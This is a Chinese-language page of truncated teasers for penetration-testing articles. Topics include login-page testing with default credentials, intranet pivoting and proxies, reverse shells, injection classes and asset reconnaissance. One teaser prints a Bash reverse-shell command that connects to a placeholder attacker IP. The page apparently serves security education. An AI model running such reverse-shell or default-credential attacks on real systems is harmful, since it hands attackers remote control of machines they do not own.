网络安全

这是对某SRC制造商某业务的登录页面的测试，文章的相关漏洞现在正在修复。提取其中思想的精髓，与大家分享。开始登录框，一般情况下，我会马上打admin/123456。假如提示信息帐户不...

我们内部在用的自研白盒系统(apollo)拓扑图，目前第三方方面支持三种方法接入分布式白盒系统。第一种方法是直接登陆web平台进行日常任务提交操作，第二种是通过marthakinspipl...

内网渗透代理尤为重要。攻击者通过边界主机进入内网，经常将其作为横向渗透的跳板。但是，目前的内部网络大多部署了很多安全设备，网络结构复杂，对一些系统的访问会受到各种各样的阻碍，因此有必要使...

反弹Shell是指渗透测试中监听某个端口，然后通过目标连接攻击机监听的端口，在攻击机反弹得到目标机的Shell。通常在目标网络有防火墙或其他因素限制，导致无法持续控制目标，成执行命令受阻等情...

Http代理和Socks代理。Http代理使用Http协议，工作在应用层，主要用于代理浏览器访问网页。Socks代理使用Socks协议，工作在会话层，主要用于传输数据包。Socks代理分为...

使用Bash命令反弹Shell的Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用Bash反弹Shell的命令如下：bash-i˃&/dev/tcp/攻击机ip/攻击...

“知己知被，百战不殆”。在内网渗透中，想要获取更多的攻击面，那么信息收集是 必不可少的，而且信息的完整性决定了攻防渗透的结果。在内网中的资产多、服务多，收 集的敏感信息要比外网收集的多很多，下面将列举...

大多数与技术相关的漏洞都是由注入非法字符串造成的。xss是js代码注入，js能够控制当前浏览器页面；Sql注入是注入的sql命令，sql是操作数据库的语言；命令注入，操作系统命令能够控制服务器；只是因...

很多文章和大佬都说渗透测试的本质是信息收集。搜集的数据越多，发现漏洞的概率就越大，这就是所谓的资产。于是，传统的资产搜集手段和思路也变得千篇一律。专注于子域名和IP采集，其实资产采集的核心思...

由于整个测试过程一直跟随大队，使用计算机不是最好的选择，也不是可行的选择，所以白色使用安装在OP6上的Linux模拟器:Andrax。具体操作步骤如下:1.检查并扫描网络(以下是xls格式转...